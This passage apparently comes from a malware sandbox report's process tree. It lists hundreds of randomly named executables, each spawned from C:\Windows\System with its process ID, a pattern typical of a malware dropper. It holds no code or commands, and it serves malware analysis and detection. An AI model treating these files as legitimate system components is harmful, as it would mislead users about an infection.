  C:\Windows\System\XcyBnhD.exe
  2⤵
  PID:1540
- C:\Windows\System\QbLmCfs.exe
  C:\Windows\System\QbLmCfs.exe
  2⤵
  PID:3632
- C:\Windows\System\hlpADNs.exe
  C:\Windows\System\hlpADNs.exe
  2⤵
  PID:3536
- C:\Windows\System\YTbkFEr.exe
  C:\Windows\System\YTbkFEr.exe
  2⤵
  PID:3516
- C:\Windows\System\DhUHXZs.exe
  C:\Windows\System\DhUHXZs.exe
  2⤵
  PID:3732
- C:\Windows\System\dtCGUrz.exe
  C:\Windows\System\dtCGUrz.exe
  2⤵
  PID:3660
- C:\Windows\System\aMjPxCJ.exe
  C:\Windows\System\aMjPxCJ.exe
  2⤵
  PID:3776
- C:\Windows\System\NZpQAFg.exe
  C:\Windows\System\NZpQAFg.exe
  2⤵
  PID:644
- C:\Windows\System\tXFYsul.exe
  C:\Windows\System\tXFYsul.exe
  2⤵
  PID:2284
- C:\Windows\System\tPnJjpt.exe
  C:\Windows\System\tPnJjpt.exe
  2⤵
  PID:4008
- C:\Windows\System\vQNjzxH.exe
  C:\Windows\System\vQNjzxH.exe
  2⤵
  PID:1664
- C:\Windows\System\nAGedCA.exe
  C:\Windows\System\nAGedCA.exe
  2⤵
  PID:4092
- C:\Windows\System\SCKsBzG.exe
  C:\Windows\System\SCKsBzG.exe
  2⤵
  PID:3212
- C:\Windows\System\DrHOcfa.exe
  C:\Windows\System\DrHOcfa.exe
  2⤵
  PID:3136
- C:\Windows\System\MlOCzzK.exe
  C:\Windows\System\MlOCzzK.exe
  2⤵
  PID:1236
- C:\Windows\System\noXjjTo.exe
  C:\Windows\System\noXjjTo.exe
  2⤵
  PID:3272
- C:\Windows\System\TOpJDOG.exe
  C:\Windows\System\TOpJDOG.exe
  2⤵
  PID:3316
- C:\Windows\System\HKNvbfu.exe
  C:\Windows\System\HKNvbfu.exe
  2⤵
  PID:3116
- C:\Windows\System\FMehlHM.exe
  C:\Windows\System\FMehlHM.exe
  2⤵
  PID:1212
- C:\Windows\System\bfFCkxw.exe
  C:\Windows\System\bfFCkxw.exe
  2⤵
  PID:3756
- C:\Windows\System\IYEXaiQ.exe
  C:\Windows\System\IYEXaiQ.exe
  2⤵
  PID:1308
- C:\Windows\System\SwdPDeA.exe
  C:\Windows\System\SwdPDeA.exe
  2⤵
  PID:1992
- C:\Windows\System\vxFnkKU.exe
  C:\Windows\System\vxFnkKU.exe
  2⤵
  PID:3800
- C:\Windows\System\lMaFiFj.exe
  C:\Windows\System\lMaFiFj.exe
  2⤵
  PID:3652
- C:\Windows\System\jpgJzUS.exe
  C:\Windows\System\jpgJzUS.exe
  2⤵
  PID:3976
- C:\Windows\System\kzxQHAO.exe
  C:\Windows\System\kzxQHAO.exe
  2⤵
  PID:3960
- C:\Windows\System\MbqQcHk.exe
  C:\Windows\System\MbqQcHk.exe
  2⤵
  PID:3396
- C:\Windows\System\QtoMuPx.exe
  C:\Windows\System\QtoMuPx.exe
  2⤵
  PID:3196
- C:\Windows\System\HzTqQKg.exe
  C:\Windows\System\HzTqQKg.exe
  2⤵
  PID:2928
- C:\Windows\System\mrSwXxt.exe
  C:\Windows\System\mrSwXxt.exe
  2⤵
  PID:3236
- C:\Windows\System\SVIvVbr.exe
  C:\Windows\System\SVIvVbr.exe
  2⤵
  PID:2248
- C:\Windows\System\FtlhMyR.exe
  C:\Windows\System\FtlhMyR.exe
  2⤵
  PID:1736
- C:\Windows\System\aWLThFO.exe
  C:\Windows\System\aWLThFO.exe
  2⤵
  PID:2792
- C:\Windows\System\ELOMKhX.exe
  C:\Windows\System\ELOMKhX.exe
  2⤵
  PID:1436
- C:\Windows\System\nJKqCiT.exe
  C:\Windows\System\nJKqCiT.exe
  2⤵
  PID:2192
- C:\Windows\System\ifsoWQM.exe
  C:\Windows\System\ifsoWQM.exe
  2⤵
  PID:2912
- C:\Windows\System\wZCWLnj.exe
  C:\Windows\System\wZCWLnj.exe
  2⤵
  PID:1544
- C:\Windows\System\rAfWQob.exe
  C:\Windows\System\rAfWQob.exe
  2⤵
  PID:3912
- C:\Windows\System\hklYHGQ.exe
  C:\Windows\System\hklYHGQ.exe
  2⤵
  PID:4056
- C:\Windows\System\ZgrMEKE.exe
  C:\Windows\System\ZgrMEKE.exe
  2⤵
  PID:2924
- C:\Windows\System\aaHvvOq.exe
  C:\Windows\System\aaHvvOq.exe
  2⤵
  PID:272
- C:\Windows\System\rXpujQu.exe
  C:\Windows\System\rXpujQu.exe
  2⤵
  PID:4104
- C:\Windows\System\DBAjzEP.exe
  C:\Windows\System\DBAjzEP.exe
  2⤵
  PID:4120
- C:\Windows\System\INwXVvj.exe
  C:\Windows\System\INwXVvj.exe
  2⤵
  PID:4152
- C:\Windows\System\unTECXS.exe
  C:\Windows\System\unTECXS.exe
  2⤵
  PID:4168
- C:\Windows\System\NHRRccU.exe
  C:\Windows\System\NHRRccU.exe
  2⤵
  PID:4184
- C:\Windows\System\lYScDZk.exe
  C:\Windows\System\lYScDZk.exe
  2⤵
  PID:4200
- C:\Windows\System\gZdWSgv.exe
  C:\Windows\System\gZdWSgv.exe
  2⤵
  PID:4244
- C:\Windows\System\IMOfeJD.exe
  C:\Windows\System\IMOfeJD.exe
  2⤵
  PID:4260
- C:\Windows\System\plkUFGT.exe
  C:\Windows\System\plkUFGT.exe
  2⤵
  PID:4324
- C:\Windows\System\lLSWCmE.exe
  C:\Windows\System\lLSWCmE.exe
  2⤵
  PID:4340
- C:\Windows\System\zzbXTIM.exe
  C:\Windows\System\zzbXTIM.exe
  2⤵
  PID:4356
- C:\Windows\System\fFmJoLU.exe
  C:\Windows\System\fFmJoLU.exe
  2⤵
  PID:4372
- C:\Windows\System\AIJOHgO.exe
  C:\Windows\System\AIJOHgO.exe
  2⤵
  PID:4388
- C:\Windows\System\DOTvoyS.exe
  C:\Windows\System\DOTvoyS.exe
  2⤵
  PID:4424
- C:\Windows\System\wScThRR.exe
  C:\Windows\System\wScThRR.exe
  2⤵
  PID:4440
- C:\Windows\System\hLsgQaH.exe
  C:\Windows\System\hLsgQaH.exe
  2⤵
  PID:4464
- C:\Windows\System\oQzqhUJ.exe
  C:\Windows\System\oQzqhUJ.exe
  2⤵
  PID:4480
- C:\Windows\System\WcwQRSO.exe
  C:\Windows\System\WcwQRSO.exe
  2⤵
  PID:4504
- C:\Windows\System\WDWwXIj.exe
  C:\Windows\System\WDWwXIj.exe
  2⤵
  PID:4528
- C:\Windows\System\iZtSSGE.exe
  C:\Windows\System\iZtSSGE.exe
  2⤵
  PID:4544
- C:\Windows\System\WFZnFUH.exe
  C:\Windows\System\WFZnFUH.exe
  2⤵
  PID:4560
- C:\Windows\System\xQiXQJG.exe
  C:\Windows\System\xQiXQJG.exe
  2⤵
  PID:4576
- C:\Windows\System\mFJaHBw.exe
  C:\Windows\System\mFJaHBw.exe
  2⤵
  PID:4592
- C:\Windows\System\CMuSSYw.exe
  C:\Windows\System\CMuSSYw.exe
  2⤵
  PID:4612
- C:\Windows\System\hCRczvO.exe
  C:\Windows\System\hCRczvO.exe
  2⤵
  PID:4640
- C:\Windows\System\UWgsIOo.exe
  C:\Windows\System\UWgsIOo.exe
  2⤵
  PID:4660
- C:\Windows\System\npRJWZL.exe
  C:\Windows\System\npRJWZL.exe
  2⤵
  PID:4676
- C:\Windows\System\BHrpcBo.exe
  C:\Windows\System\BHrpcBo.exe
  2⤵
  PID:4696
- C:\Windows\System\BrfRJUc.exe
  C:\Windows\System\BrfRJUc.exe
  2⤵
  PID:4716
- C:\Windows\System\KdXeTZc.exe
  C:\Windows\System\KdXeTZc.exe
  2⤵
  PID:4740
- C:\Windows\System\CFldIvk.exe
  C:\Windows\System\CFldIvk.exe
  2⤵
  PID:4760
- C:\Windows\System\DPOevfw.exe
  C:\Windows\System\DPOevfw.exe
  2⤵
  PID:4776
- C:\Windows\System\CTISYxJ.exe
  C:\Windows\System\CTISYxJ.exe
  2⤵
  PID:4800
- C:\Windows\System\hpTpAVp.exe
  C:\Windows\System\hpTpAVp.exe
  2⤵
  PID:4816
- C:\Windows\System\WgiDuTn.exe
  C:\Windows\System\WgiDuTn.exe
  2⤵
  PID:4856
- C:\Windows\System\urvNpsG.exe
  C:\Windows\System\urvNpsG.exe
  2⤵
  PID:4876
- C:\Windows\System\nFmzxyX.exe
  C:\Windows\System\nFmzxyX.exe
  2⤵
  PID:4892
- C:\Windows\System\KTWBAWO.exe
  C:\Windows\System\KTWBAWO.exe
  2⤵
  PID:4908
- C:\Windows\System\svmAYYN.exe
  C:\Windows\System\svmAYYN.exe
  2⤵
  PID:4924
- C:\Windows\System\KEpZYJv.exe
  C:\Windows\System\KEpZYJv.exe
  2⤵
  PID:4944
- C:\Windows\System\yMEbehR.exe
  C:\Windows\System\yMEbehR.exe
  2⤵
  PID:4976
- C:\Windows\System\xdtgUGR.exe
  C:\Windows\System\xdtgUGR.exe
  2⤵
  PID:4992
- C:\Windows\System\jXYXfSY.exe
  C:\Windows\System\jXYXfSY.exe
  2⤵
  PID:5008
- C:\Windows\System\nJoFEuZ.exe
  C:\Windows\System\nJoFEuZ.exe
  2⤵
  PID:5028
- C:\Windows\System\TLmRKmN.exe
  C:\Windows\System\TLmRKmN.exe
  2⤵
  PID:5044
- C:\Windows\System\nSwNXkG.exe
  C:\Windows\System\nSwNXkG.exe
  2⤵
  PID:5064
- C:\Windows\System\uNUpyIS.exe
  C:\Windows\System\uNUpyIS.exe
  2⤵
  PID:5080
- C:\Windows\System\OTSQABX.exe
  C:\Windows\System\OTSQABX.exe
  2⤵
  PID:5096
- C:\Windows\System\ngrMTwE.exe
  C:\Windows\System\ngrMTwE.exe
  2⤵
  PID:2252
- C:\Windows\System\zzkLOAG.exe
  C:\Windows\System\zzkLOAG.exe
  2⤵
  PID:4100
- C:\Windows\System\DoTYPPQ.exe
  C:\Windows\System\DoTYPPQ.exe
  2⤵
  PID:3656
- C:\Windows\System\UzdxWdK.exe
  C:\Windows\System\UzdxWdK.exe
  2⤵
  PID:4116
- C:\Windows\System\FbymvFf.exe
  C:\Windows\System\FbymvFf.exe
  2⤵
  PID:4176
- C:\Windows\System\fSeYRMG.exe
  C:\Windows\System\fSeYRMG.exe
  2⤵
  PID:4192
- C:\Windows\System\lZqKcvB.exe
  C:\Windows\System\lZqKcvB.exe
  2⤵
  PID:4196
- C:\Windows\System\hrVlkKi.exe
  C:\Windows\System\hrVlkKi.exe
  2⤵
  PID:4232
- C:\Windows\System\zoPdRPi.exe
  C:\Windows\System\zoPdRPi.exe
  2⤵
  PID:4272
- C:\Windows\System\rIAppJU.exe
  C:\Windows\System\rIAppJU.exe
  2⤵
  PID:4288
- C:\Windows\System\higDcKf.exe
  C:\Windows\System\higDcKf.exe
  2⤵
  PID:4304
- C:\Windows\System\JPfwNvN.exe
  C:\Windows\System\JPfwNvN.exe
  2⤵
  PID:4332
- C:\Windows\System\Lvnauqn.exe
  C:\Windows\System\Lvnauqn.exe
  2⤵
  PID:4380
- C:\Windows\System\jXmGUcY.exe
  C:\Windows\System\jXmGUcY.exe
  2⤵
  PID:4364
- C:\Windows\System\HAaemGU.exe
  C:\Windows\System\HAaemGU.exe
  2⤵
  PID:4412
- C:\Windows\System\ZUIBwTr.exe
  C:\Windows\System\ZUIBwTr.exe
  2⤵
  PID:4420
- C:\Windows\System\LDrwEtE.exe
  C:\Windows\System\LDrwEtE.exe
  2⤵
  PID:4472
- C:\Windows\System\AajBAoY.exe
  C:\Windows\System\AajBAoY.exe
  2⤵
  PID:4540
- C:\Windows\System\NLwvRvY.exe
  C:\Windows\System\NLwvRvY.exe
  2⤵
  PID:4600
- C:\Windows\System\KRHHsiP.exe
  C:\Windows\System\KRHHsiP.exe
  2⤵
  PID:4584
- C:\Windows\System\jEwVAPS.exe
  C:\Windows\System\jEwVAPS.exe
  2⤵
  PID:4628
- C:\Windows\System\vvVJkeI.exe
  C:\Windows\System\vvVJkeI.exe
  2⤵
  PID:4652
- C:\Windows\System\cAynOKG.exe
  C:\Windows\System\cAynOKG.exe
  2⤵
  PID:4688
- C:\Windows\System\vPEZXRA.exe
  C:\Windows\System\vPEZXRA.exe
  2⤵
  PID:4708
- C:\Windows\System\ZtNqSvq.exe
  C:\Windows\System\ZtNqSvq.exe
  2⤵
  PID:4736
- C:\Windows\System\GuwTzbu.exe
  C:\Windows\System\GuwTzbu.exe
  2⤵
  PID:4752
- C:\Windows\System\LLnRvKs.exe
  C:\Windows\System\LLnRvKs.exe
  2⤵
  PID:4788
- C:\Windows\System\ISKbfYn.exe
  C:\Windows\System\ISKbfYn.exe
  2⤵
  PID:4824
- C:\Windows\System\RJtlWBe.exe
  C:\Windows\System\RJtlWBe.exe
  2⤵
  PID:4836
- C:\Windows\System\debgZfV.exe
  C:\Windows\System\debgZfV.exe
  2⤵
  PID:4848
- C:\Windows\System\KRmaLuw.exe
  C:\Windows\System\KRmaLuw.exe
  2⤵
  PID:2664
- C:\Windows\System\yTmaUnO.exe
  C:\Windows\System\yTmaUnO.exe
  2⤵
  PID:2952
- C:\Windows\System\WleudUx.exe
  C:\Windows\System\WleudUx.exe
  2⤵
  PID:4900
- C:\Windows\System\DcraTMy.exe
  C:\Windows\System\DcraTMy.exe
  2⤵
  PID:4920
- C:\Windows\System\GllvvfA.exe
  C:\Windows\System\GllvvfA.exe
  2⤵
  PID:4956
- C:\Windows\System\ZXCTKbi.exe
  C:\Windows\System\ZXCTKbi.exe
  2⤵
  PID:4940
- C:\Windows\System\CYajUrW.exe
  C:\Windows\System\CYajUrW.exe
  2⤵
  PID:5000
- C:\Windows\System\iqrBlkA.exe
  C:\Windows\System\iqrBlkA.exe
  2⤵
  PID:5056
- C:\Windows\System\llXDCOa.exe
  C:\Windows\System\llXDCOa.exe
  2⤵
  PID:5112
- C:\Windows\System\knfKfPb.exe
  C:\Windows\System\knfKfPb.exe
  2⤵
  PID:860
- C:\Windows\System\UMxrYcO.exe
  C:\Windows\System\UMxrYcO.exe
  2⤵
  PID:5072
- C:\Windows\System\gvpdZcV.exe
  C:\Windows\System\gvpdZcV.exe
  2⤵
  PID:4268
- C:\Windows\System\SpElEcl.exe
  C:\Windows\System\SpElEcl.exe
  2⤵
  PID:4452
- C:\Windows\System\IgdvChK.exe
  C:\Windows\System\IgdvChK.exe
  2⤵
  PID:4524
- C:\Windows\System\VfNuLbH.exe
  C:\Windows\System\VfNuLbH.exe
  2⤵
  PID:4608
- C:\Windows\System\lfZnOTl.exe
  C:\Windows\System\lfZnOTl.exe
  2⤵
  PID:4636
- C:\Windows\System\FDnxkPY.exe
  C:\Windows\System\FDnxkPY.exe
  2⤵
  PID:4692
- C:\Windows\System\oPfPLbj.exe
  C:\Windows\System\oPfPLbj.exe
  2⤵
  PID:4784
- C:\Windows\System\FiHkVLt.exe
  C:\Windows\System\FiHkVLt.exe
  2⤵
  PID:4748
- C:\Windows\System\tCYnJCU.exe
  C:\Windows\System\tCYnJCU.exe
  2⤵
  PID:2656
- C:\Windows\System\oISfJfN.exe
  C:\Windows\System\oISfJfN.exe
  2⤵
  PID:4844
- C:\Windows\System\jSDOEuf.exe
  C:\Windows\System\jSDOEuf.exe
  2⤵
  PID:4888
- C:\Windows\System\vMyrQEe.exe
  C:\Windows\System\vMyrQEe.exe
  2⤵
  PID:5016
- C:\Windows\System\oCffadV.exe
  C:\Windows\System\oCffadV.exe
  2⤵
  PID:4216
- C:\Windows\System\zqgeYfz.exe
  C:\Windows\System\zqgeYfz.exe
  2⤵
  PID:4256
- C:\Windows\System\ZTdcmnL.exe
  C:\Windows\System\ZTdcmnL.exe
  2⤵
  PID:4224
- C:\Windows\System\fyNoVUK.exe
  C:\Windows\System\fyNoVUK.exe
  2⤵
  PID:4284
- C:\Windows\System\nBbuPOP.exe
  C:\Windows\System\nBbuPOP.exe
  2⤵
  PID:4400
- C:\Windows\System\jzWKrlj.exe
  C:\Windows\System\jzWKrlj.exe
  2⤵
  PID:4488
- C:\Windows\System\LSNszQO.exe
  C:\Windows\System\LSNszQO.exe
  2⤵
  PID:4352
- C:\Windows\System\ghleWpR.exe
  C:\Windows\System\ghleWpR.exe
  2⤵
  PID:4832
- C:\Windows\System\CEVUrQX.exe
  C:\Windows\System\CEVUrQX.exe
  2⤵
  PID:4756
- C:\Windows\System\ExJKaHl.exe
  C:\Windows\System\ExJKaHl.exe
  2⤵
  PID:4968
- C:\Windows\System\diBhjCL.exe
  C:\Windows\System\diBhjCL.exe
  2⤵
  PID:4300
- C:\Windows\System\YkgZSBq.exe
  C:\Windows\System\YkgZSBq.exe
  2⤵
  PID:4404
- C:\Windows\System\bKdagXx.exe
  C:\Windows\System\bKdagXx.exe
  2⤵
  PID:4516
- C:\Windows\System\ptSjudu.exe
  C:\Windows\System\ptSjudu.exe
  2⤵
  PID:4728
- C:\Windows\System\XjNEQxE.exe
  C:\Windows\System\XjNEQxE.exe
  2⤵
  PID:4112
- C:\Windows\System\vZrSJnw.exe
  C:\Windows\System\vZrSJnw.exe
  2⤵
  PID:4952
- C:\Windows\System\zpxvftQ.exe
  C:\Windows\System\zpxvftQ.exe
  2⤵
  PID:4164
- C:\Windows\System\aYNCntx.exe
  C:\Windows\System\aYNCntx.exe
  2⤵
  PID:4772
- C:\Windows\System\nKrteSY.exe
  C:\Windows\System\nKrteSY.exe
  2⤵
  PID:4868
- C:\Windows\System\fXruoWh.exe
  C:\Windows\System\fXruoWh.exe
  2⤵
  PID:3332
- C:\Windows\System\TmkvAZt.exe
  C:\Windows\System\TmkvAZt.exe
  2⤵
  PID:4668
- C:\Windows\System\wSJEHUo.exe
  C:\Windows\System\wSJEHUo.exe
  2⤵
  PID:4724
- C:\Windows\System\rYnSmMZ.exe
  C:\Windows\System\rYnSmMZ.exe
  2⤵
  PID:5116
- C:\Windows\System\TDLUVPm.exe
  C:\Windows\System\TDLUVPm.exe
  2⤵
  PID:2000
- C:\Windows\System\koTWetS.exe
  C:\Windows\System\koTWetS.exe
  2⤵
  PID:5124
- C:\Windows\System\TUMVoUU.exe
  C:\Windows\System\TUMVoUU.exe
  2⤵
  PID:5140
- C:\Windows\System\YfGRfuv.exe
  C:\Windows\System\YfGRfuv.exe
  2⤵
  PID:5160
- C:\Windows\System\EGsaUHX.exe
  C:\Windows\System\EGsaUHX.exe
  2⤵
  PID:5176
- C:\Windows\System\nmSrFSN.exe
  C:\Windows\System\nmSrFSN.exe
  2⤵
  PID:5192
- C:\Windows\System\JfUWayn.exe
  C:\Windows\System\JfUWayn.exe
  2⤵
  PID:5212
- C:\Windows\System\lqqeRjY.exe
  C:\Windows\System\lqqeRjY.exe
  2⤵
  PID:5228
- C:\Windows\System\lxNkKRe.exe
  C:\Windows\System\lxNkKRe.exe
  2⤵
  PID:5244
- C:\Windows\System\VuoTfmm.exe
  C:\Windows\System\VuoTfmm.exe
  2⤵
  PID:5264
- C:\Windows\System\emVRGhr.exe
  C:\Windows\System\emVRGhr.exe
  2⤵
  PID:5332
- C:\Windows\System\aPzMiBH.exe
  C:\Windows\System\aPzMiBH.exe
  2⤵
  PID:5348
- C:\Windows\System\HYpxLUH.exe
  C:\Windows\System\HYpxLUH.exe
  2⤵
  PID:5364
- C:\Windows\System\IsKHACd.exe
  C:\Windows\System\IsKHACd.exe
  2⤵
  PID:5380
- C:\Windows\System\mMQxbfa.exe
  C:\Windows\System\mMQxbfa.exe
  2⤵
  PID:5396
- C:\Windows\System\TxpmJGf.exe
  C:\Windows\System\TxpmJGf.exe
  2⤵
  PID:5416
- C:\Windows\System\dCmHHuB.exe
  C:\Windows\System\dCmHHuB.exe
  2⤵
  PID:5432
- C:\Windows\System\aiUyEff.exe
  C:\Windows\System\aiUyEff.exe
  2⤵
  PID:5448
- C:\Windows\System\JauYNsw.exe
  C:\Windows\System\JauYNsw.exe
  2⤵
  PID:5468
- C:\Windows\System\fIJqJPj.exe
  C:\Windows\System\fIJqJPj.exe
  2⤵
  PID:5484
- C:\Windows\System\iRUvwCy.exe
  C:\Windows\System\iRUvwCy.exe
  2⤵
  PID:5500
- C:\Windows\System\CrRBdPs.exe
  C:\Windows\System\CrRBdPs.exe
  2⤵
  PID:5520
- C:\Windows\System\CMBUZZf.exe
  C:\Windows\System\CMBUZZf.exe
  2⤵
  PID:5536
- C:\Windows\System\NLKUBak.exe
  C:\Windows\System\NLKUBak.exe
  2⤵
  PID:5552
- C:\Windows\System\ecHetGJ.exe
  C:\Windows\System\ecHetGJ.exe
  2⤵
  PID:5572
- C:\Windows\System\DtphDuJ.exe
  C:\Windows\System\DtphDuJ.exe
  2⤵
  PID:5588
- C:\Windows\System\xkAUOJs.exe
  C:\Windows\System\xkAUOJs.exe
  2⤵
  PID:5608
- C:\Windows\System\KCETxQR.exe
  C:\Windows\System\KCETxQR.exe
  2⤵
  PID:5628
- C:\Windows\System\RVESAWZ.exe
  C:\Windows\System\RVESAWZ.exe
  2⤵
  PID:5648
- C:\Windows\System\VqZRVbv.exe
  C:\Windows\System\VqZRVbv.exe
  2⤵
  PID:5668
- C:\Windows\System\wqLrxLm.exe
  C:\Windows\System\wqLrxLm.exe
  2⤵
  PID:5688
- C:\Windows\System\WRWNjDY.exe
  C:\Windows\System\WRWNjDY.exe
  2⤵
  PID:5708
- C:\Windows\System\UkoFwyk.exe
  C:\Windows\System\UkoFwyk.exe
  2⤵
  PID:5772
- C:\Windows\System\YOOCbMs.exe
  C:\Windows\System\YOOCbMs.exe
  2⤵
  PID:5788
- C:\Windows\System\mRUiIPE.exe
  C:\Windows\System\mRUiIPE.exe
  2⤵
  PID:5804
- C:\Windows\System\xldWUOA.exe
  C:\Windows\System\xldWUOA.exe
  2⤵
  PID:5820
- C:\Windows\System\tphuRSa.exe
  C:\Windows\System\tphuRSa.exe
  2⤵
  PID:5836
- C:\Windows\System\rRsVqwP.exe
  C:\Windows\System\rRsVqwP.exe
  2⤵
  PID:5856
- C:\Windows\System\WauNJai.exe
  C:\Windows\System\WauNJai.exe
  2⤵
  PID:5872
- C:\Windows\System\fphPnlV.exe
  C:\Windows\System\fphPnlV.exe
  2⤵
  PID:5888
- C:\Windows\System\nYDgZRw.exe
  C:\Windows\System\nYDgZRw.exe
  2⤵
  PID:5904
- C:\Windows\System\hXlOlyf.exe
  C:\Windows\System\hXlOlyf.exe
  2⤵
  PID:5920
- C:\Windows\System\wTxEUPJ.exe
  C:\Windows\System\wTxEUPJ.exe
  2⤵
  PID:5936
- C:\Windows\System\sETNRkx.exe
  C:\Windows\System\sETNRkx.exe
  2⤵
  PID:5956
- C:\Windows\System\VSwtHsy.exe
  C:\Windows\System\VSwtHsy.exe
  2⤵
  PID:5972
- C:\Windows\System\KRQBqPq.exe
  C:\Windows\System\KRQBqPq.exe
  2⤵
  PID:5988
- C:\Windows\System\ayGPEYV.exe
  C:\Windows\System\ayGPEYV.exe
  2⤵
  PID:6056
- C:\Windows\System\YJSXJzU.exe
  C:\Windows\System\YJSXJzU.exe
  2⤵
  PID:6076
- C:\Windows\System\sDQIXwX.exe
  C:\Windows\System\sDQIXwX.exe
  2⤵
  PID:6092
- C:\Windows\System\xTKqcEK.exe
  C:\Windows\System\xTKqcEK.exe
  2⤵
  PID:6112
- C:\Windows\System\EstWizd.exe
  C:\Windows\System\EstWizd.exe
  2⤵
  PID:6132
- C:\Windows\System\AZshLim.exe
  C:\Windows\System\AZshLim.exe
  2⤵
  PID:5132
- C:\Windows\System\vrQqmLZ.exe
  C:\Windows\System\vrQqmLZ.exe
  2⤵
  PID:4136
- C:\Windows\System\xBQBOHp.exe
  C:\Windows\System\xBQBOHp.exe
  2⤵
  PID:4916
- C:\Windows\System\LLyfXjS.exe
  C:\Windows\System\LLyfXjS.exe
  2⤵
  PID:4936
- C:\Windows\System\kxEbtmz.exe
  C:\Windows\System\kxEbtmz.exe
  2⤵
  PID:5168
- C:\Windows\System\onlQcVg.exe
  C:\Windows\System\onlQcVg.exe
  2⤵
  PID:5284
- C:\Windows\System\sclciAw.exe
  C:\Windows\System\sclciAw.exe
  2⤵
  PID:5312
- C:\Windows\System\BDTDmjJ.exe
  C:\Windows\System\BDTDmjJ.exe
  2⤵
  PID:5320
- C:\Windows\System\QWXHJpK.exe
  C:\Windows\System\QWXHJpK.exe
  2⤵
  PID:4624
- C:\Windows\System\IBdruTl.exe
  C:\Windows\System\IBdruTl.exe
  2⤵
  PID:5156
- C:\Windows\System\aLoGWfD.exe
  C:\Windows\System\aLoGWfD.exe
  2⤵
  PID:5260
- C:\Windows\System\CDKikgR.exe
  C:\Windows\System\CDKikgR.exe
  2⤵
  PID:5392
- C:\Windows\System\vIxnvid.exe
  C:\Windows\System\vIxnvid.exe
  2⤵
  PID:5424
- C:\Windows\System\WNssWvn.exe
  C:\Windows\System\WNssWvn.exe
  2⤵
  PID:5492
- C:\Windows\System\VtmRySn.exe
  C:\Windows\System\VtmRySn.exe
  2⤵
  PID:5560
- C:\Windows\System\ZTAwxrd.exe
  C:\Windows\System\ZTAwxrd.exe
  2⤵
  PID:5340
- C:\Windows\System\jDoLndV.exe
  C:\Windows\System\jDoLndV.exe
  2⤵
  PID:5376
- C:\Windows\System\rwLMgrS.exe
  C:\Windows\System\rwLMgrS.exe
  2⤵
  PID:5444
- C:\Windows\System\nJSJJhf.exe
  C:\Windows\System\nJSJJhf.exe
  2⤵
  PID:5512
- C:\Windows\System\RvJvVZV.exe
  C:\Windows\System\RvJvVZV.exe
  2⤵
  PID:5580
- C:\Windows\System\VeUCOsK.exe
  C:\Windows\System\VeUCOsK.exe
  2⤵
  PID:5624
- C:\Windows\System\GYSVWFO.exe
  C:\Windows\System\GYSVWFO.exe
  2⤵
  PID:5640
- C:\Windows\System\yTsgkVz.exe
  C:\Windows\System\yTsgkVz.exe
  2⤵
  PID:5680
- C:\Windows\System\NfTTmlD.exe
  C:\Windows\System\NfTTmlD.exe
  2⤵
  PID:5696
- C:\Windows\System\kwPOPoV.exe
  C:\Windows\System\kwPOPoV.exe
  2⤵
  PID:5700
- C:\Windows\System\OGYQnXw.exe
  C:\Windows\System\OGYQnXw.exe
  2⤵
  PID:5732
- C:\Windows\System\kluokiQ.exe
  C:\Windows\System\kluokiQ.exe
  2⤵
  PID:5748
- C:\Windows\System\VrqwOXL.exe
  C:\Windows\System\VrqwOXL.exe
  2⤵
  PID:5764
- C:\Windows\System\LwXdGKX.exe
  C:\Windows\System\LwXdGKX.exe
  2⤵
  PID:5864
- C:\Windows\System\xZDXOqD.exe
  C:\Windows\System\xZDXOqD.exe
  2⤵
  PID:5844
- C:\Windows\System\DUtPICD.exe
  C:\Windows\System\DUtPICD.exe
  2⤵
  PID:5780
- C:\Windows\System\OblvyPI.exe
  C:\Windows\System\OblvyPI.exe
  2⤵
  PID:5896
- C:\Windows\System\wykNEzj.exe
  C:\Windows\System\wykNEzj.exe
  2⤵
  PID:5968
- C:\Windows\System\onJcrlU.exe
  C:\Windows\System\onJcrlU.exe
  2⤵
  PID:5948
- C:\Windows\System\PZFMCHZ.exe
  C:\Windows\System\PZFMCHZ.exe
  2⤵
  PID:5984
- C:\Windows\System\SdVLozw.exe
  C:\Windows\System\SdVLozw.exe
  2⤵
  PID:6012
- C:\Windows\System\yXghkuT.exe
  C:\Windows\System\yXghkuT.exe
  2⤵
  PID:6032
- C:\Windows\System\CtlADDO.exe
  C:\Windows\System\CtlADDO.exe
  2⤵
  PID:6048
- C:\Windows\System\DlzDHTV.exe
  C:\Windows\System\DlzDHTV.exe
  2⤵
  PID:6088
- C:\Windows\System\LunZwoX.exe
  C:\Windows\System\LunZwoX.exe
  2⤵
  PID:4672
- C:\Windows\System\Tqxrxpy.exe
  C:\Windows\System\Tqxrxpy.exe
  2⤵
  PID:6100
- C:\Windows\System\ApFZUdZ.exe
  C:\Windows\System\ApFZUdZ.exe
  2⤵
  PID:5208
- C:\Windows\System\JlAeqbF.exe
  C:\Windows\System\JlAeqbF.exe
  2⤵
  PID:4236
- C:\Windows\System\CQDrCNF.exe
  C:\Windows\System\CQDrCNF.exe
  2⤵
  PID:5148
- C:\Windows\System\BtaCbdK.exe
  C:\Windows\System\BtaCbdK.exe
  2⤵
  PID:2476
- C:\Windows\System\TyoKijN.exe
  C:\Windows\System\TyoKijN.exe
  2⤵
  PID:5296
- C:\Windows\System\HqRTqsu.exe
  C:\Windows\System\HqRTqsu.exe
  2⤵
  PID:5092
- C:\Windows\System\sBgqkEq.exe
  C:\Windows\System\sBgqkEq.exe
  2⤵
  PID:6044
- C:\Windows\System\uPTnsMr.exe
  C:\Windows\System\uPTnsMr.exe
  2⤵
  PID:5052
- C:\Windows\System\PXNYdiQ.exe
  C:\Windows\System\PXNYdiQ.exe
  2⤵
  PID:5568
- C:\Windows\System\iUGLyMH.exe
  C:\Windows\System\iUGLyMH.exe
  2⤵
  PID:5440
- C:\Windows\System\klHAXMJ.exe
  C:\Windows\System\klHAXMJ.exe
  2⤵
  PID:5372
- C:\Windows\System\EvKViBP.exe
  C:\Windows\System\EvKViBP.exe
  2⤵
  PID:5508
- C:\Windows\System\exYsrVc.exe
  C:\Windows\System\exYsrVc.exe
  2⤵
  PID:5616
- C:\Windows\System\qcXQnfn.exe
  C:\Windows\System\qcXQnfn.exe
  2⤵
  PID:5756
- C:\Windows\System\WsUmEjx.exe
  C:\Windows\System\WsUmEjx.exe
  2⤵
  PID:5620
- C:\Windows\System\CNksjVi.exe
  C:\Windows\System\CNksjVi.exe
  2⤵
  PID:5720
- C:\Windows\System\VaWqddE.exe
  C:\Windows\System\VaWqddE.exe
  2⤵
  PID:6008
- C:\Windows\System\WrzAElB.exe
  C:\Windows\System\WrzAElB.exe
  2⤵
  PID:5796
- C:\Windows\System\ltSjIyF.exe
  C:\Windows\System\ltSjIyF.exe
  2⤵
